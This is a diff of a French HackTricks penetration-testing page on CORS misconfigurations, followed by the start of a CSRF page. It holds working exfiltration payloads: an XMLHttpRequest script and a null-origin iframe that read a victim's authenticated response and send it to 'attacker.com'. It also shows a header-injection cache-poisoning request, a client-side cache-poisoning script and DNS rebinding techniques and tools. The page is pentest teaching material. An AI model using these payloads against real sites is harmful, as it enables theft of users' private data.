- **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
|
||||
- **`Access-Control-Request-Method`**: Ce header, également utilisé dans les requêtes pré-vol, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
|
||||
- **`Origin`**: Ce header est automatiquement défini par le navigateur et indique l'origine de la requête entre domaines. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée en fonction de la politique CORS.
|
||||
* **`Access-Control-Allow-Headers`**: Ce header spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
* **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples.
|
||||
* **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées.
|
||||
* **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
|
||||
* **`Access-Control-Request-Method`**: Ce header, également utilisé dans les requêtes pré-vol, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
|
||||
* **`Origin`**: Ce header est automatiquement défini par le navigateur et indique l'origine de la requête entre domaines. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée en fonction de la politique CORS.
|
||||
|
||||
|
||||
Notez qu'en général (selon le type de contenu et les en-têtes définis) dans une requête **GET/POST, aucune requête pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous souhaitez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ le permettant.\
|
||||
**Par conséquent, CORS ne protège pas contre les attaques CSRF (mais peut être utile).**
|
||||
Notez qu'en général (selon le type de contenu et les en-têtes définis), dans une requête **GET/POST, aucune requête pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous souhaitez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ le permettant.\
|
||||
**Par conséquent, CORS ne protège pas contre les CSRF (mais peut être utile).**
|
||||
|
||||
### **Requête pré-vol pour les demandes du réseau local**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local.
|
||||
|
||||
2. **`Access-Control-Allow-Local-Network`**: En réponse, les serveurs utilisent ce header pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières réseau, assurant un accès contrôlé tout en maintenant les protocoles de sécurité.
|
||||
|
||||
Une **réponse valide autorisant la demande du réseau local** doit également contenir dans la réponse l'en-tête `Access-Controls-Allow-Local_network: true` :
|
||||
|
@ -131,8 +129,6 @@ Content-Length: 0
|
|||
Notez que l'IP linux **0.0.0.0** fonctionne pour **contourner** ces exigences afin d'accéder à localhost car cette adresse IP n'est pas considérée comme "locale".
|
||||
|
||||
Il est également possible de **contourner les exigences du réseau local** si vous utilisez l'**adresse IP publique d'un point de terminaison local** (comme l'adresse IP publique du routeur). Car dans plusieurs cas, même si l'**adresse IP publique** est utilisée, si c'est **à partir du réseau local**, l'accès sera autorisé.
|
||||
|
||||
|
||||
{% endhint %}
|
||||
|
||||
## Configurations mal sécurisées exploitables
|
||||
|
@ -141,11 +137,11 @@ Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` su
|
|||
|
||||
### Exception : Exploitation de la localisation réseau comme authentification
|
||||
|
||||
Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à l'ordinateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter.
|
||||
Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à un navigateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter.
|
||||
|
||||
### Réflexion de `Origin` dans `Access-Control-Allow-Origin`
|
||||
|
||||
Le scénario réel où la valeur de l'en-tête `Origin` est reflétée dans `Access-Control-Allow-Origin` est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, les développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l'en-tête `Access-Control-Allow-Origin` en copiant la valeur de l'en-tête `Origin`. Cette approche peut introduire des vulnérabilités, en particulier lorsque qu'un attaquant utilise un domaine avec un nom conçu pour sembler légitime, trompant ainsi la logique de validation.
|
||||
Le scénario réel où la valeur de l'en-tête `Origin` est reflétée dans `Access-Control-Allow-Origin` est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, les développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l'en-tête `Access-Control-Allow-Origin` en copiant la valeur de l'en-tête `Origin`. Cette approche peut introduire des vulnérabilités, en particulier lorsqu'un attaquant utilise un domaine avec un nom conçu pour sembler légitime, trompant ainsi la logique de validation.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -158,7 +154,7 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Exploiter l'origine `null`
|
||||
### Exploitation de l'origine `null`
|
||||
|
||||
L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS.
|
||||
```html
|
||||
|
@ -186,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
### Techniques de Contournement des Expressions Régulières
|
||||
### Techniques de contournement des expressions régulières
|
||||
|
||||
Lorsqu'on rencontre une liste blanche de domaine, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaine. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement.
|
||||
Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaines. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement.
|
||||
|
||||
### Contournements Avancés des Expressions Régulières
|
||||
### Contournements avancés des expressions régulières
|
||||
|
||||
Les modèles Regex se concentrent généralement sur les caractères alphanumériques, le point (.), et le tiret (-), en négligeant d'autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les modèles Regex peut contourner les vérifications de sécurité. La manière dont Safari, Chrome et Firefox gèrent les caractères de soulignement dans les sous-domaines illustre comment de telles divergences peuvent être exploitées pour contourner la logique de validation de domaine.
|
||||
|
||||
**Pour plus d'informations et de paramètres sur ce contrôle de contournement :** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### Depuis XSS à l'intérieur d'un sous-domaine
|
||||
|
||||
Les développeurs mettent souvent en place des mécanismes de défense pour se protéger contre l'exploitation de CORS en autorisant les domaines à demander des informations. Malgré ces précautions, la sécurité du système n'est pas infaillible. La présence d'un seul sous-domaine vulnérable parmi les domaines autorisés peut ouvrir la porte à l'exploitation de CORS à travers d'autres vulnérabilités, telles que XSS (Cross-Site Scripting).
|
||||
|
||||
Pour illustrer, considérez le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci :
|
||||
Pour illustrer, considérons le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci :
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -212,40 +208,38 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
```
|
||||
Dans cette configuration, tous les sous-domaines de `requester.com` sont autorisés à accéder. Cependant, si un sous-domaine, par exemple `sub.requester.com`, est compromis avec une vulnérabilité XSS, un attaquant peut exploiter cette faille. Par exemple, un attaquant ayant accès à `sub.requester.com` pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur `provider.com`.
|
||||
|
||||
|
||||
### **Empoisonnement du cache côté serveur**
|
||||
|
||||
**[À partir de cette recherche](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité XSS stockée puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent `\r` (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP.
|
||||
Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité de script intersite stocké (XSS) puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP.
|
||||
|
||||
Considérez la requête suivante où l'en-tête `Origin` est manipulé:
|
||||
```text
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Internet Explorer et Edge interprètent la réponse comme suit :
|
||||
```text
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait amener un cache côté serveur à enregistrer la réponse et à la servir involontairement à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
Bien que l'exploitation directe de cette vulnérabilité en envoyant un en-tête malformé depuis un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
|
||||
Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
|
||||
|
||||
|
||||
### **Empoisonnement du cache côté client**
|
||||
|
||||
**[De cette recherche](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans codage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le montre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript lors du chargement.
|
||||
|
||||
Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client.
|
||||
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`.
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l'URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`.
|
||||
|
||||
Voici un résumé du JavaScript utilisé pour exécuter cette attaque :
|
||||
```html
|
||||
|
@ -263,7 +257,7 @@ req.send();
|
|||
|
||||
### XSSI (Inclusion de script inter-sites) / JSONP
|
||||
|
||||
XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources en utilisant la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus en utilisant la balise script.
|
||||
XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources à l'aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus à l'aide de la balise script.
|
||||
|
||||
Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant.
|
||||
|
||||
|
@ -280,8 +274,7 @@ Essayez d'ajouter un **paramètre `callback`** dans la requête. Peut-être que
|
|||
Une façon de contourner la restriction `Access-Control-Allow-Origin` est de demander à une application web de faire une requête en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les informations d'identification de la victime finale ne seront pas envoyées car la requête est faite à un domaine différent.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transmet votre requête avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne efficacement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest :
|
||||
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil propose une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil offre une approche alternative pour la mise en proxy des requêtes. Au lieu de transmettre votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.
|
||||
|
||||
### Contournement Iframe + Popup
|
||||
|
||||
|
@ -295,17 +288,17 @@ Vous pouvez **contourner les vérifications CORS** telles que `e.origin === wind
|
|||
|
||||
La réattribution DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :
|
||||
|
||||
1. L'attaquant crée une page web et fait accéder la victime à celle-ci.
|
||||
1. L'attaquant crée une page web et fait en sorte que la victime y accède.
|
||||
2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
|
||||
3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide.
|
||||
3. Le navigateur de la victime met en cache la réponse DNS, qui peut comporter une valeur TTL (Time to Live) indiquant pendant combien de temps l'enregistrement DNS doit être considéré comme valide.
|
||||
4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l'attaquant d'exécuter du code JavaScript sur la page de la victime.
|
||||
5. En maintenant le contrôle sur l'IP de la victime, l'attaquant peut recueillir des informations de la victime sans envoyer de cookies au serveur de la victime.
|
||||
|
||||
Il est important de noter que les navigateurs disposent de mécanismes de mise en cache qui peuvent empêcher l'abus immédiat de cette technique, même avec des valeurs TTL faibles.
|
||||
|
||||
La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant au cache d'expirer.
|
||||
La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer.
|
||||
|
||||
Si vous avez besoin d'une méthode rapide pour abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
Si vous avez besoin d'un moyen rapide d'abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Pour exécuter votre propre serveur de réattribution DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.
|
||||
|
||||
|
@ -316,10 +309,10 @@ Vous pouvez également explorer un serveur en cours d'exécution publiquement su
|
|||
La réattribution DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne :
|
||||
|
||||
1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant.
|
||||
2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
|
||||
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost.
|
||||
2. Pour contourner la défense de mise en cache, l'attaquant exploite un worker de service. Le worker de service inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
|
||||
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost.
|
||||
|
||||
En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci résolvant vers l'adresse IP souhaitée par l'attaquant.
|
||||
En inondant le cache DNS avec le worker de service, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée par l'attaquant.
|
||||
|
||||
### Réattribution DNS via **Cache**
|
||||
|
||||
|
@ -335,27 +328,26 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi
|
|||
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour accéder à l'localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Notez que pour accéder à localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
|
||||
### Autres contournements courants
|
||||
|
||||
* Si les **IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac)
|
||||
* Si les **IP internes ne sont pas autorisées**, répondez avec un **CNAME** à **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
|
||||
* Si les **adresses IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac)
|
||||
* Si les **adresses IP internes ne sont pas autorisées**, répondez avec un **CNAME** vers **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **adresses IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
|
||||
|
||||
### Réattribution DNS Weaponized
|
||||
### Arme DNS Rebidding Weaponized
|
||||
|
||||
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [réattribution DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réattribuer l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible.
|
||||
|
||||
### Protection réelle contre la réattribution DNS
|
||||
### Protection réelle contre le rebinding DNS
|
||||
|
||||
* Utilisez TLS dans les services internes
|
||||
* Demandez une authentification pour accéder aux données
|
||||
|
@ -364,7 +356,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
|
|||
|
||||
## **Outils**
|
||||
|
||||
**Fouillez les mauvaises configurations possibles dans les politiques CORS**
|
||||
**Fuzz les mauvaises configurations possibles dans les politiques CORS**
|
||||
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
|
@ -372,6 +364,7 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
|
|||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## Références
|
||||
|
||||
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
|
||||
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
|
||||
|
@ -381,3 +374,17 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
|
|||
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
|
||||
|
@ -31,24 +31,32 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
## Explication de la faille de sécurité CSRF (Cross-Site Request Forgery)
|
||||
|
||||
